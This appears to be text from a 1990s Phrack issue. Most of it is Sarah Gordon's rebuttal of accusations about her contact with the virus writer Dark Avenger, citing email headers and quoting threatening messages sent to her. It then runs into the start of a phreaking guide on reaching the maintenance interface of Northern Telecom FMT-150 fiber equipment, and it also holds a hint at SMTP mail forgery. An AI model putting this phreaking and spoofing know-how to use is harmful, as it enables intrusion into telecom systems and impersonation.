I also "sold" the story to PCWorld, where it has been published, in part. I have not received any compensation for this yet. More later on why I did the interview.

Maybe the problem is I didn’t interview Kohntark...

> Afterward, I questioned her again about the whole affair and demanded a proof, or some sort of direct contact from the dark avenger to my anonymous internet account.

First, I do not have to "prove" my contact with this man to anyone. It has been well enough observed and documented every step of the way. Ever hear of the dedicated virus? It is the demo virus that came with the Mutation Engine. It contains "We dedicate this little virus to sara gordon who wanted to have a virus named after her". (At this point, Dark Avenger did not really know me, we were just establishing our contact; he still used the spelling Sara for my name :)

I provided Kohntark with an address with Dark Avengers permission. Actually, the account Dark Avenger had at digsys which he used to get to me on chats or IRC (2 years after initial contact) was not under the name Dark Avenger OR dav, but under another name which would draw less attention to itself if someone happened to finger us during one of our chats. The system adminstrator made the additional account later, since he knew quite well it -was- Dark Avenger, having had an ongoing battle with him for years.

Kohntark wrote to Dark Avenger there, just like he said he did. At least this much is true. And, I did receive copies of the mail. Actually Dark Avenger did not want to even answer the mail, but I asked him to please do it so that the guy would leave me alone.

Someone using the same mail headers had already sent a message to WIRED, telling them "The DA is old news, he hasn’t made a virus in 2 years, you should interview ME". Wonder who that might have been...... Does the header cxxxxx.ic.xxxxxx.edu ring any bells?

At that point, Kohntark forged mail to WIRED magazine, this time posing as Dark Avenger. I would never have known this, but Dark Avenger fwd back a very strange reply message from WIRED and asked me what in the hell was going on. In that message, WIRED had included part of the message they had received. It clearly displayed the cxxxxx.ic.xxxxxx.edu headers, indicating that the mail had been sent from someone there! Someone who told WIRED "I don’t want to talk to you" (paraphrased). Even WIRED told me "That mail did not sound like Dark Avenger..it was just all wrong" (paraphrased). I pointed out the headers to them later. It was a bad hack on Kohntark’s part. Anyone doubts, it mail the sysadmin at digsys.bg.

Here is a copy of that mail, with "compromising" parts xxxxed out.

First, Dark Avenger’s legitimate fwd to me:

```
From dav@digsys.bg Sat Jul 24 20:36:12 1993
Return-Path: <dav@digsys.bg>
Received: from mcsun.EU.net by mail.netcom.com (5.65/SMI-4.1/Netcom)
        id AA04202; Sat, 24 Jul 93 20:34:29 -0700
Received: from danbo.UUCP by mcsun.EU.net with UUCP
        id AA18612 (5.65b/CWI-2.220); Sun, 25 Jul 1993 05:35:36 +0200
Received: by danbo.digsys.bg (5.67/1.37) via EUnet
        id AA06614; Sun, 25 Jul 93 05:33:30 +0300
From: dav@digsys.bg (Dark Avenger)
Message-Id: <9307250233.AA06614@danbo.digsys.bg>
Subject: Re: FWD>None (fwd)
To: vfr@netcom.com
Date: Sun, 25 Jul 93 5:33:29 EET DST
X-Mailer: ELM [version 2.3 PL11]
Status: OR
```

Then, the message from xxxxxxxxxxx at WIRED:

```
Forwarded message:
>From xxxxxx!wired.com!xxxxx Sat Jul 24 01:34:30 1993
Message-Id: <9307232129.AA02102@wired.com>
Date: 23 Jul 1993 14:27:42 -0800
From: "xxxxxxxxxxx" <xxxxx@wired.com>
Subject: Re: FWD>None
To: dav@digsys.bg

        Reply to:   RE>FWD>None

*Some mail from WIRED guy replying to the message***
```

And now, the mail that prompted xxxxxxx’s reply. I guess Kohntark didn’t realize that the mail would receive a reply. Or, didn’t realize the reply would include the mail headers:

```
--------------------------------------
Date: 7/23/93 12:35 AM
To: xxxxxxxxxxx
From: xxxx
Received: by xx.wired.com with SMTP;22 Jul 1993 05:38:19 -0800
Received: from anon.penet.fi by wired.com via SMTP (920330.SGI/911001.SGI)
        for xxxxx@xx.wired.com id AA00423; Thu, 22 Jul 93 05:35:20 -0700
Received: from cxxxxx.ic.xxxxxx.edu by anon.penet.fi (5.67/1.35)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        id AA21218; Thu, 22 Jul 93 15:24:44 +0300
Date: Thu, 22 Jul 93 15:24:44 +0300
From: dav@digsys.bg
Message-Id: <9307221224.AA21218@anon.penet.fi>

Return-Path:<dav@digsys.bg>
Date: Fri 13, 66 00:00:00 EST
To:<xxxxxxx@wired.com>
Subject:Not interest.
Status:RO

I read in VIRUS-L that some idiot  (atman@rahut.net) wants to do
```

interview with me face to face.
I am not interested in being in your magazine.
I am not interested in being interviewed, even if you offer me $1000.
or more.
I am not interested. so tell your friend to stop mentioning me in
VIRUS-L, i have NO interest.
Please don’t bother to reply. I have no time for stupidity.

<dav>

Interesting use of the anonymous mailer port 25, eh? (clue: try helo)

> Since this was the first time anyone had ever questioned the validity of her relationship with the DA, she took this to heart and shortly after, I received 3 short messages originating from <dav@danbo.digsys.bg> an Internet connected UNIX system in Bulgaria.

HAHAHA. This has been questioned many times. Do you think the ACM, or any magazine would risk printing this without adequate proof? My contacts early on with the virus writer were well documented. I had to prove myself to everyone from Vesselin Bontchev (who did not believe me until he had seen the source code to Commander Bomber, which is a virus; the source code has never been made available to anyone). Here:

```
From bontchev@informatik.uni-hamburg.de Tue Oct 12 02:34:53 1993
Return-Path: <bontchev@informatik.uni-hamburg.de>
Received: from deneb.dfn.de by mail.netcom.com (5.65/SMI-4.1/Netcom)
        id AA09608; Tue, 12 Oct 93 02:34:34 -0700
Received: from fbihh.informatik.uni-hamburg.de by deneb.dfn.de (4.1/SMI-4.2)
        id AA05014; Tue, 12 Oct 93 10:33:30 +0100
From: bontchev@informatik.uni-hamburg.de (Vesselin Bontchev)
Message-Id: <9310120933.AA22605@fbihh.informatik.uni-hamburg.de>
Received: by fbihh.informatik.uni-hamburg.de (5.65+/FBIHH-1.21);
        id AA22605; Tue, 12 Oct 93 10:33:45 +0100
Subject: Re: urgent
To: vfr@netcom.com
Date: Tue, 12 Oct 1993 10:33:42 +0100 (MET)
In-Reply-To: <9310120331.AA01134@netcom4.netcom.com> from "sara" at
Oct 11, 93 08:31:48 pm
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2211
Status: OR
```

....blah blah..(deleted)

So, here is my official statement.

I hereby confirm that when I met Sarah S. Gordon in March 1993 in New York, she showed me the original source of the Commander Bomber virus. It was obviously a source and not a disassembly, and it was very similar to a couple of other sources of Dark Avenger’s programs that I have seen. When I say "similar" I mean such things like label names, commenting style, layout of the text and so on. Of course, this is not a proof that it has been really produced by the Dark Avenger, but this is very probable. Sarah didn’t give me a copy of it and I didn’t insist, because she told me that she has promised to Dark Avenger not to give this source to anybody. To my knowledge, nobody else has the source.

Regards,
Vesselin

```
- --
Vesselin Vladimirov Bontchev          Virus Test Center, University of Hamburg
Tel.:+49-40-54715-224, Fax: +49-40-54715-226      Fachbereich Informatik - AGN
< PGP 2.3 public key available on request. > Vogt-Koelln-Strasse 30, rm. 107 C
e-mail: bontchev@fbihh.informatik.uni-hamburg.de        22527 Hamburg, Germany
```

Keep in mind, Vesselin is not a product developer and has no affiliation with any developers. He is a Doctoral Student who has himself been accused of being the Dark Avenger.

The Bulgarian Secret Police seemed to believe my contact was legitimate enough. I received an "invitation" to meet with them. I declined this "invitation" because I am not interested in the terrorist tactics of a desperate government to blame a hacker and virus writer for the problems of the country in general.

I had to prove my contact lots of ways, just to get the article in print. Why did I want this article in print? One simple reason. To show this virus writer as not some evil sinister monster from Hell waiting to destroy the earth's supercomputer. Just as a person like the rest of us. Did it accomplish it? I think it did, from the response I got from most people. Did -I- personally 'benefit' from it? In some ways, I did.

This reminds me, a certain ex-virus exchange sysop told me that he was going to make me expose the Dark Avenger; that he was going to find out his true identity, where no one else could; that he would make up some story, any story, to force Dark Avenger out into the open. Well, I don't narc on my friends. I am sure you can appreciate that.

Here they are:

(Private, compromising parts are X'd out)
1st Message:

```
--------------------------------------------------------------------------------
-
>From daemon@digsys.bg Wed Jul 14 19:07 EDT 1993
Received: from danbo.digsys.bg by XXXXXXXXXXXXXXXXXXXXXX; Wed, 14 Jul 93 19:07:3
4 -0400
Return-Path: <dav@danbo.digsys.bg>
Received: by XXXXXXXXXXXXXX (5.67/1.35)
        id AA12850; Thu, 15 Jul 93 02:04:46 +0300
Message-Id: <9307142304.AA12850@XXXXXXXXXXXX>
To: XXXXXXX
From: dav@danbo.digsys.bg
Date: Wed, 14 Jul 93 23:41:36 +0300
Subject: No subject
Status: RO
```

kohntark-

i just talked to a friend of mine who said you dont like her user log. why shouldnt i call her from bulgaria? i call whoever i want to, and this is not your problem.

by the way, she sent me your mail. for your information, i do know how much money she made of that interview. and i also think that this is none of your business.

also, maybe it would be good for you to know, that by offending her, you are offending me, too. keep this in mind.

<dav>

Second Message:

```
-------------------------------------------------------------------------
```

>My mail with her is none of your business either.

i dont think so, dude.

maybe you need to read the next few lines again, in case you missed them.

```
>>
>> also, maybe it would be good for you to know, that by offending
>> her, you are offending me, too. keep this in mind.
>>
>> <dav>
 >
 >HA HA! and you expect me to believe that you are the DA!
 >send me a proof: an email address from bulgaria or tell me
 >how many addressing modes does the MTE have?
 >
 >nice try.


 well, what do you think the domain .bg in my email address stands for?
 maybe you think its kameroon?
 as for the mte, im not giving you any info.

 i need not prove anything to anybody, and certainly dont plan to waste more
 of my time talking to you. you have been warned.


<dav>
```

Third Message:

```
---------------------------------------------------------------------------

 oh, yeah. sure it did.
 only you will not know where something else came from, when it knocks on your
 door. i have nothing more to say.

---------------------------------------------------------------------------
```

Odd. He did not include the mail he forged using the address I gave him in good faith to WIRED magazine.

He also did not include the mail he forged to Anthony Naggs, an engineer, in which he made the following statements:

```
> > From @gate.demon.co.uk,@anon.penet.fi:darkavenger@sofia.somewhere.bg Fri
    Sep 17 18:16:32 1993
> > Received: from post.demon.co.uk by ubik.demon.co.uk with SMTP
> >       id AA4544 ; Fri, 17 Sep 93 18:16:22 GMT
> > Received: from post.demon.co.uk via puntmail for amn@ubik.demon.co.uk;
> >           Fri Sep 17 14:49:12 BST 1993
> > Received: from gate.demon.co.uk by post.demon.co.uk id gk03845;
> >           17 Sep 93 14:09 BST
> > Received: from anon.penet.fi by gate.demon.co.uk id aa01230;
> >           17 Sep 93 6:07 GMT-60:00
> > Received: from cxxxxx.ic.xxxxxx.edu by anon.penet.fi (5.67/1.35)


^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^see originating mail location?

> >       id AA15730; Fri, 17 Sep 93 07:58:28 +0300
> > From: DarkAvenger@sofia.somewhere.bg
> > Message-Id: <9309170458.AA15730@anon.penet.fi>
> > Return-Path: <DarkAvenger@sofia.somewhere.bg>
> > Date: Thursday, 16 Sept 93 22:02:54
> > To: amn@ubik.demon.co.uk
> > MMDF-Warning:  Parse error in original version of preceding line at gate.
    demon.co.uk
> > Subject: NO i am NOT
```

> > Status: RO
>
> NO , I have not found "more interesting thigs to do"!
> If you don't know it yet, I am still active and will release
> work at the end of the year.
> Also in case you don't know the VNI interview was mostly made up.
> I haven't talked to Sara in almost a year, and I will never again.
> She betrayed me.
> She will deny this and try to exploit my name more.
> Until the end of year.
>
> Then again.. what do you know? you are like the weasel: another
> stupid engineer.. you know nothing about viruses!
>
> UNtil then..
>
>
>
>

Dark Avenger spells my name with an "h" :) And, he doesn't mail people from cxxxxx.ic.xxxxxx.edu :) And, I think this pretty clearly illustrates the motivations and methods of Kohntark.

> In my ignorance, I blindly trusted the three cryptic replies to be true, even thought whoever replied refused to give out trivial information such as the number of addressing modes for a 2 year old encryption engine (MTE) and spelled Cameroon with a 'k' (Check out Sara Gordon's spelling of URUGUAY in VIRUS-L Volume 6 Issue 120 -v06i120)
>
> Shortly after other unrelated discussions and a CUD post from Sara(h) in which I was mentioned (unnamed), someone warned me of several posts in NUKENET by an alleged dark avenger and Todor Todorov from an account belonging to the last, mentioning me and Aristotle.

Sheesh. Kameroon with a -K- is the German spelling. It is also the most common spelling a European would use. The "correct" spelling, for anyone who cares, is Cameroun, because it is mainly a French speaking colony; A small portion of it is English-speaking and uses Cameroon. Most likely, An American would use Cameroon. Consult your nearest linguist or historical specialist for verification. Talk to discman about my linguistic aptitude. Do not attempt this at home.

Kohntark spelled SKISM incorrectly in one of his messages to me. He must be the Dark Avenger. No, wait..he onlys -wants- to be...

Those messages in the NukeNet were prompted by the virus exchange sysop mentioned earlier asking Todor Todorov to contact Dark Avenger and ask him if he had really talked to me. Todor -is- a friend of mine. He assisted me in my study of virus exchange bbs and their impact on end users. Todor put the mail on some Bulgarian BBS, and Dark Avenger answered it. Apparently, his answer was not liked very well by this Aristotle and others people, because an amateur linguistic analysis followed, detailing how much like me the Dark Avenger appeared to be.

I employed the services of a professional linguist, who stated that indeed there are striking similarities. This can be attributed to the fact that Dark Avenger and I have spent many hours together. And, I usually type in lower case, in E-Mail messages, etc. Come to think of it, most of the hackers I know must be the Dark Avenger if this is the qualification :)

> In those messages I was referred to as 'hotshot,' a word that Sara Gordon had used on me several times on our personal email exchange; It was then that I became highly suspicious of the whole matter.

Yes, I used this word. I use it all the time. So does Dark Avenger. It is a word we use to refer to certain people. It is a commonly used word in Bulgaria. It is not so common here, but it is there. They watch a lot of American television, and use a lot of words like this as well as a lot of profanity. Movies. Motherfucker and Asshole are two other words used a lot by Bulgarian hackers and virus writers. In fact, the word "motherfucker", which "proved" it was NOT a Bulgarian that posted as <dav> :) in the NuKeNet (since, as they said, NO Bulgarian would EVER use -this- word), was found in a virus of Bulgarian origin a very long time ago. Perhaps they should learn to disassemble the damned things before trying to say what's in them. In defense of NuKe (and believe me, there has been no love lost between some of those people and myself in the past), I think a lot of people were baited and led on by certain people.

> I called Virginia's Virus Research Institute's sysop and owner, Aristotle to find out more about the posts and he bought to my attention the particular writing style of Sara(h) Gordon: She NEVER uses capital letters and apostrophes on her personal email, and always signs her name on the lower left hand corner. (She seldom signs her posts

Virginia Virus Research Institute is (was) The Black Axis BBS. The place that sold viruses for one hundred dollars per collection. Pretty enterprising, eh? Only, a lot of them were junk. The sysop is the same one who told me he was going to get the Dark Avenger to come forth, to 'Save my Name' or something like that. He also told me that if a new virus appeared, bearing the name 'Dark Avenger', people would want to 'catch' the virus writer again. And, guess what? Such a virus did appear. A crude hack of the Burma virus, with a text string included: DARKAVENGER :). And, it was this very sysop that uploaded it to a certain well known virus exchange BBS. Slick, huh? But definitely not the work of Dark Avenger.

However, this will not make me identify the Dark Avenger, assuming I did know the path to his door.

This same sysop also told me (when he closed his system) that he had intentionally tried to incite people, and had made some mistakes along the way in doing this. We all make mistakes. Unfortunately, Kohntark is making a really big mistake here.

Yes, I use lower case ALL THE TIME. And, like Dark Avenger, I sometimes do and sometimes do not use correct punctuation. Apparently Kohntark has not been around in the early days of <dav> postings on Fidonet. Oh, that's right. He does not read it. Well, if he had, he would have seen Dark Avenger had this 'style' a long time before I ever heard of computer viruses.

I am using upper case in this article (mostly) because when I write for a readership (as opposed to private mail, and online chats, etc.), I use correct form. Well, as correct form as I can.

> nowadays and changes her user name in her vfr@netcom.com account every week!; for further proof of her writing style, please refer to public posts in VIRUS-L Volume 6 #120; I also have over 100K of personal email exchange to prove this fact!)

Shame on me. I change my user name :) I am so El33t....
I'm too hexy for my shirt, too hexy for my shirt...blah blah

> It was then that we realized that she was passing herself as Todor Todorov and the dark avenger (who could possibly verify their online identity?) and had infiltrated NUKENET..

HAHAHAHAHAHAAHHAAHHA oops, excuse me..hahahahahaha

This is ridiculous, as anyone who has checked will know. Todorov is happy to take calls from people about this matter; eminent publicly (not anonymous) figures in the field know that I wrote the truth, and there really is nothing further to be said about this nonsense.

> The writing style described corresponds exactly to the one on the posts I received from the 'dark avenger.'
> Shortly afterward the <dav@danbo.digsys.bg> account was cancelled and I learned the whole truth:

Oh my. My writing style corresponds exactly to Dark Avengers. It certainly does, when I want it to, or when I have been writing to him a lot. And, it does when I write e-mail. So what? So does the style of a of people :) We are all Dark Avenger. If you counted the names of everyone who writes in lower case, makes spelling areas, and signs their mail in the lower left hand corner of messages, how many people do you think you would find?

About the account: Yes, it was cancelled. After Kohntark forged mail from that site, prompting a response from WIRED, I asked the system administrator to cancel the account so that no more such trickery could take place, requiring me to spend time trying to straighten it out. He was happy to do it. He had more than a few problems with Dark Avenger ftping files in excess, and had only retained the account as a personal favor to me. <dav> (yes, that IS how he signs personal mail, e-mail and some of his viruses) did not exactly be a nice boy on that system.

> The danbo.digsys.bg Bulgarian site belongs to Daniel Kalchev, another self appointed AV researcher whose best claims to fame are submitting various Bulgarian viruses to Patricia Hoffman's VSUM!!

Self-appointed? He is the administrator of the Internet there. I think Kohntark is not fully aware of just who Mr. Kalchev is.

> (You can check this by doing a search on 'Kalchev' on the current VSUMs or you can contact him thru:
> <daniel@danbo.sigsys.bg>)

No. The best address is daniel@digsys.bg. Mr. and Mrs. Kalchev both have accounts there, and you can reach them best if you use this address. And please do feel free to contact him. He will tell you that he has talked to Dark Avenger for a very long time. Long before digsys was on the internet, and long before I met either of them.

> He is a very close friend of Sara(h) Gordon and he has an account in her VFR BBS (you can check this by logging into her system and checking the user list) and SHE has an account in digsys.bg under <sarah@danbo.digsys.bg> (this account is still valid as far as I know; notice the H after her name!)

Of course he is a very close friend of mine. He has visited me here, and has been a great help to me in my work. Yes, I do have an account there. It has been there since I was invited by the Bulgarian ACM to present my work on Computer Viruses at their International Computer Virus Conference. It was nice of Daniel to do this for me, to make it convenient for me to access my mail, as I could have it forwarded there.

We never did remove the account, as Bulgarian's prefer to mail in their own country for some reason. The H after my name is very simple: My name is Sarah Gordon. On the nets, I use Sara. When I am friends with someone, I use my given name. I do not like my given "familiar" name to be used in my articles or in e-mail from people I don't know. It is a quirk, I guess. My papers are presented using the Sara variant :)

> What I concluded is that is the DA would never get an account in such system as he HATES Daniel Kalchev!!!!

Another wrong conclusion.

The DA might not, but then the District Attorney usually doesn't :)

Wrong. and Right. He certainly did get an account there. Call Daniel Kalchev or mail him to ask him. He has had many conversations with Dark Avenger there. He does sure hate Daniel. In this one thing, Kohntark is correct. He hates him violently. And, he's been on his BBS for years. Where do you think he used to post messages FROM?

I tried repeatedly to act as intermediary between Dark Avenger and Kalchev, because they both have been very good to me. There was just no way to do it. Dark Avenger thinks Kalchev is (in his own words) "asshole hotshot with big company and lots of money, he can afford to give free accounts...". And yes, he used the word HOTSHOT. JUST LIKE ME.

> This is what really happened: Sara(h) Gordon in her desperation to prove that she was in touch with the dark avenger, told her pal Daniel Kalchev to make an account under the dark avenger's name (<dav> this is how she always refers to him, even though he never signs his name that way (check the source code for his 'Dark Avenger' virus or the 'Commander Bomber' virus message name: [DAME])

No one has the source code for Commander Bomber that I know of except myself and Dark Avenger, as I previously noted. He has signed his name this way for a very long time, in his e-mail. You can verify this easily enough by asking Todor, Daniel, Bontchev, or anyone who used to read his old posts. Sometimes he does, sometimes he doesn't, just like me.

> From there she could email me messages that would come from Bulgaria and would be untraceable since she would log into her account in digsys.bg and log into the <dav> account internally from the same site in Bulgaria. (You can check where and when most of the people log from in most internet unix and vax sites)

:). If I wanted to mail Kohntark untraceable messages, I would not have to go to this extreme, as you well know :)

> As it is expected from her, she has denied any of this. Some of her ridiculous explanations include things like "hotshot is a very common English word in Bulgaria" !!!
>
> You might ask yourself what is the deal with the h? is it sara or sarah??
>
> Well, I asked her the same question when I noticed this in one of the VNI interviews, where her name is spelled as Sarah.
>
> She replied that this was a mistake of the publisher.
>
> Mistake? well not really, it was another lie, meant to throw off any information and truth seekers, for example you can check her account in Daniel Kalchev's system:

I explained this previously. It was a mistake. VNI is not supposed to use my given entire familiar name. In fact, they did mess up. They did not use it in the Dark Avenger interview, despite I had put it there as "Sarah". I told Dark Avenger I would do this for him. He asked me to do it, but for some reason they did not. Later, they -did- use my given name in a totally different situation. I can't account for their errors.

> <saraH@danbo.digsys.bg> , spelled with an H,
> another 'mistake of the publisher?'
> :)
>
> Other countless Sara Gordon lies are told in NUKE Info-Journal # 6.

In the last NuKe Journal, the authors posted some private mail of mine, and said "Look how nice she knows this public mail will be read"..at the same time, the posted some public mail, from my BBS, which I had forwarded to one of them as a reply, and said "Look how nasty she is when she thinks no one can see". All in all, their response to both letters prompted a lot of people to think I had -joined- NuKe. For the record, nope.

> This behavior puts in question the validity of the VNI interviews and the reputation of Sara(h) Gordon as a serious (self appointed) 'virus researcher'

:)

> IMHO the VNI interviews are a complete fabrication, meant only to boost her validity as a 'journalist', and to make her lots of money, charging for further 'interviews' to other magazines. (She has offered her paid 'interviewing' services to various other publications.)

:) Lots of money? Well, first off, I told you how the Dark Avenger interview profited me. It didn't. Secondly, yes, I do write for magazines and I sell the articles. Some, I give away. I don't do any of this for the money. As for other interviewing, I recently interviewed two virus writers (one who has stopped, one who has not), and they are quite pleased with the articles. I'll ask them to contact you personally to tell you as the article is not yet in print. Keep in mind, I have literally no control over commentary by editors, omissions, etc.

> To the best of my knowledge the information I present here is true and can be checked.

Yes, it can be checked, and I hope you check it and print what you find along with this commentary.

> I chose to publish this information, despite threats against my well being and countless lies about me propagated by Sara(h) Gordon.

Now, about threats and lies. Here is the sort of mail I have received from Kohntark. In the interest of space, I will send you the headers, etc., so that you can see them and include here only the sort of diatribe he has been so vehemently sending me.

I contacted his system administrator after this continued for such a long time. I'm not a Cori. I don't take every "hey, wanna have phone sex" message as a potential threat, I don't call people's probation officers for the hell of it, I don't ring up sysadmins at the drop of a hat to accuse innocent people of causing trouble. And, I discussed this situation with a lot of people, hackers and virus writers, friends and foes, prior to taking this action. There's no way to know over the nets if someone is really a maniac or if they are just playing around. In this case, considering the nature of the mail, I did contact them.

First, the apology after he had gotten particularly nasty.

Organization: Anonymous contact service
Reply-To: xxxxxx@anon.penet.fi
Subject: Apology
Date: Fri, 30 Jul 93 8:08:45 EDT
Status: OR

Sara:

I want to apologize for everything that I have said that you might have found offensive.

I drop all accusations I have made against you.

again, I am sorry.
I have no desire in creating any animosity, and / or bad publicity
to my name or yours.

Sorry things got this silly and out of hand.

Please accept my apologies and let's drop the whole thing OK?

Thank you.

Followed almost immediately by a forgery. What Kohntark did not realize is that I am in contact with Simon. In fact, I arranged for him to come to a virus conference, with all of his expenses paid. I am writing an article for 40-HEX, and I immediately called Simon to ask what in the hell was this about. After he told me, I went back and checked the mail headers. Guess what I found?

```
From simon@skism.login.qc.ca Sat Jul 31 07:44:26 1993
Received: from anon.penet.fi by mail.netcom.com (5.65/SMI-4.1/Netcom)
        id AA17333; Sat, 31 Jul 93 07:44:19 -0700
Received: from cxxxxx.ic.xxxxxx.edu by anon.penet.fi (5.67/1.35)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        id AA21213; Sat, 31 Jul 93 17:40:54 +0300

From: simon@skism.login.qc.ca
Message-Id: <9307311440.AA21213@anon.penet.fi>
Return-Path: <simon@sklism.login.ca>
```

****Notice: He misspelled skism. Maybe -he- is the Dark Avenger.
I mean, if spelling counts..***

```
Date: Fri, 30 Jul 93 12:01:02 EST
Subject: get real!
Apparently-To: <vfr@netcom.com>
Status: OR
```

to vfr@netcom.com.... (Nobody)
what is the matter? everyone knows you are sara gordon, are you afraid to sign you own name now??

> Yes sara gordon, i heard rumours that you are passing yourself as the dark avenger. It wouldn't surprise me since you are even afraid to sign your own postings.

Ha. Actually he signed the above message at the bottom left:) He must be me in Real Life.... As we all have seen by now, if you sign the bottom left of your mail, you are Sara Gordon.

Then, here he tells me how he has proved yet another self-appointed virus researcher wrong. Of course, the researcher in question is not wrong. He is Vesselin Bontchev, a rather pedantic but technically brilliant anti-virus Doctoral student at the University of Hamburg. Kohntark seems obsessed with proving anti-virus researchers wrong. It would make more sense to me to learn from the researchers. I am not talking about product developers or sales people, but researchers.

ME=Sara
HIM=Kohntark

ME: dont you get it? im sorry, i am not going to respond to all of this nonsense. maybe you can get vesselin to respond to you again, but i doubt it considering his opinion of your 'knowledge'...

HIM: I don't give a damn about what he thinks, I have shown the self appointed virus expert is wrong.That is all.

----

and, here (i'm reverting to UNIX lower case now, i must be the dark avenger..), he begins his harassment again.

HIM: you don't have any children do you? It shows

Then, after he tell me he knows all about me, he proceeds to mail me to taunt me with addresses referring to my child.

```
From kohntark@youhavea10yearoldson.com Sun Aug 29 10:55:45 1993
Return-Path: <kohntark@youhavea10yearoldson.com>
Received: from [193.64.138.3] by mail.netcom.com (5.65/SMI-4.1/Netcom)
        id AA07061; Sun, 29 Aug 93 10:55:39 -0700
Received: from cxxxxx.ic.xxxxxx.edu by anon.penet.fi (5.67/1.35)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        id AA22796; Sun, 29 Aug 93 20:50:35 +0300
```

ME: am tired of your threats. the only danger you are to me
    is to waste my time with this nonsense.

HIM: we will see.

HIM: Never underestimate the power of hate.

HIM: The end is coming.

HIM: Also: you said 'oh my name is spelled SARA, VNI misspelled it!
yeah right ! you idiot!
you forgot who you are dealing here ha ha! not a fool like you!!!
stupid tricks like changing your name can't defend you from thy mighty Kohntark!
prepare yourself!!

the end is near!

Obviously i have overestimated your intelligence..
My dog has a higher IQ..
"who is anthony naggs?.." DUHH!
Thanx for making my job easier he he.
You think you got me? sure.. go ahead.. fry that guy's account, you will be doing me a favour he he!
AH, and start looking for a new job.. you will need it soon after i am done with you
you idiot!

He likes me to know he is watching me. Only, for a supreme UNIX hacker, he has not mastered the skills quite yet..note the paths again.. (baby copperfield is one of the names i used. i have red hair, and its a long story; someone asked me if i had read dickens and i replied 'yes, I've read baby copperfield'. CHFN followed :)

But this was a bit eerie mail. Love him?

```
From babycopperfield@haha.com Sun Sep 12 17:39:50 1993
Received: from anon.penet.fi by mail.netcom.com (5.65/SMI-4.1/Netcom)
        id AA22703; Sun, 12 Sep 93 17:39:42 -0700
Received: from cxxxxx.ic.xxxxxx.edu by anon.penet.fi (5.67/1.35)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        id AA24832; Mon, 13 Sep 93 03:39:00 +0300
From: babycopperfield@haha.com
Message-Id: <9309130039.AA24832@anon.penet.fi>
Return-Path: <babycopperfield@haha.com>
Date: Fri 13 Dec 66 00:00:00
To: <vfr@netcom.com> (Sara)
```

Subject: I know you are on...
Status: OR

hi!

i know you are logged on now...
shame we cannot talk,, you know friendly discussions ha ha..
i might call to your bbs.. can i upload your gif picture??
yes?

if i like you you might just get lucky ...

Love me.

> More of his article..
>
> I am doing this to stop the lies and corruption fostered by the Anti-Virus industry.

What do you think? Is he doing -this- to stop the lies and corruption? It seems to me that the anti-virus industry would benefit from the Dark Avenger coming back onto the scene. They could sell more software, get the whole hacking community attacked by people who are afraid enough already. Why we could get a whole entire Legion of Virus Fighters up in arms, eh?

If Kohntark wanted to do this 'stopping of lies and corruption', he would not be helping to recreate the myth of the Dark Avenger. He would not be impersonating him, harassing me, and telling people (impersonating Dark Avenger) that he will still release viruses into the wild. I also do not like lies and corruption, and work very hard to stop it. I do not profit from it in any substantial way.

I run a free BBS: I distribute anti-virus software for free, and encourage people to choose software that will work for them in their situation. I don't go for the big scare tactics used by some companies, and I don't recommend those products. Not only because I don't like their marketing, but because their products are not as efficient/accurate as other products. I don't like that we have to have these products, but we do. It's a fact of life. If we can educate people on the real situation with viruses, we can stop a lot of this "Let's get those bad virus writers" before it's too late. We don't need another Dark Avenger. We don't need laws that will infringe on our freedoms.

If anyone takes this "Sara and the Dark Avenger scam" even half-way seriously, they can email me, and ask me whatever specific questions they like. I also have a suggestion here, one that might even lead to some sort of agreement between this Kohntark and the rest of the hacker community that does not support lies and harassment. You call Todorov, e-mail or call Bontchev. Ask them. I'll come to HoHoCon (if someone buys me a ticket; although Kohntark thinks I had better look for a job, the fact is I don't have a real job), and compile the bomber source code and MtE Source (not the pitiful disassemblies that appear on a lot of BBS, but the REAL source, supplied to me by <dav> when I questioned HIM to make sure he was the "Real Thing". I'll show you step by step how it compiles flawlessly and works. If after you confirm that to the best of your knowledge, what I am saying is true, then I think Kohntark owes me an apology. And, an apology to the rest of the virus writers and hackers who do not need or deserve to be portrayed as evil demented creatures who are waiting to "Destroy the World".

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 13 of 27

****

METRO P/H Presents

Northern Telecom's
FMT-150B/C/D

Optical Fiber Digital Transmission System

Intro

This file will cover the FMT-150, the equipment that sends info over the digital trunks using lasers. It is an accompaniment to our guide to remotes (COs). I will cover all the interesting and useful stuff. This file is mostly for SERIOUS phreaks, we'll have more non-technical cool stuff coming up.

System Description

The FMT-150 fiber optic transmission system combines DM-13 multiplexers and 150 Mb/s Fiber Transports in compact shelf packages, I will refer to it as a shelf. The FMT-150 product architecture supports subscriber loop and interoffice link applications using hub, drop/insert, repeater and terminal configurations. The following is what a FMT-150 shelf system consists of.

FMT-150B	1 DM-13 multiplexer (multiplexes 3 signals into one signal of 44.736 Mb/s.) 1 150 Mb/s fiber interface 1 maintenance control unit 1 service channel unit (optional) 2 (or 4) power supply units
FMT-150C	2 DM-13 multiplexers 2 (or 4) power supply units
FMT-150D	2 150 Mb/s fiber interfaces 2 service channel units (both optional) 2 maintenance control units 2 (or 4) power supply units

Maintenance

Service Channel Unit

Order-wire Facility

Two voice channels per DS-3 signal are provided for individual addressing using DIP switches on the SCU. Dial over a 4 wire headset/handset. (more in Order-Wire)

Interfaces

The CRT (good old Cathode Ray Tube) Interface is an important system feature of the Maintenance Control Unit (MCU). You can plug in to a RS-232 port directly (use a null-modem cable) on the "shelf" or remotely via a modem (!). Also a Tandy 200 can be interfaced with the Maintenance Control Unit. The network configuration, the status of each node, and any alarm existing can be viewed on the terminal. The interface goes from 300 to 9600 baud. The software already present on the MCU is all that is needed, the interface need only support certain emulations (see Operation Procedures.) (hmmm... Could Radio Shack and Northern Telecom be butt buddies?) Also available is a RS-422 interface which provides a large number of alarm status and control points through the MCU. The port is labeled "Customer E2A" on the shelf. CAMMS is an extended feature of the FMT-150. It stands for Central Access Maintenance and Monitoring System which can also take advantage of the Maintenance features (see Operation Procedures). All this is, is a mini-terminal, that can be installed and act like a CRT interface.

Specifications

When interfacing the CRT with a null modem cable, your cable should fit the diagram below.

```
Ä¿                                          Ä¿
1  OO 1
2  OO 3
3  OO 2
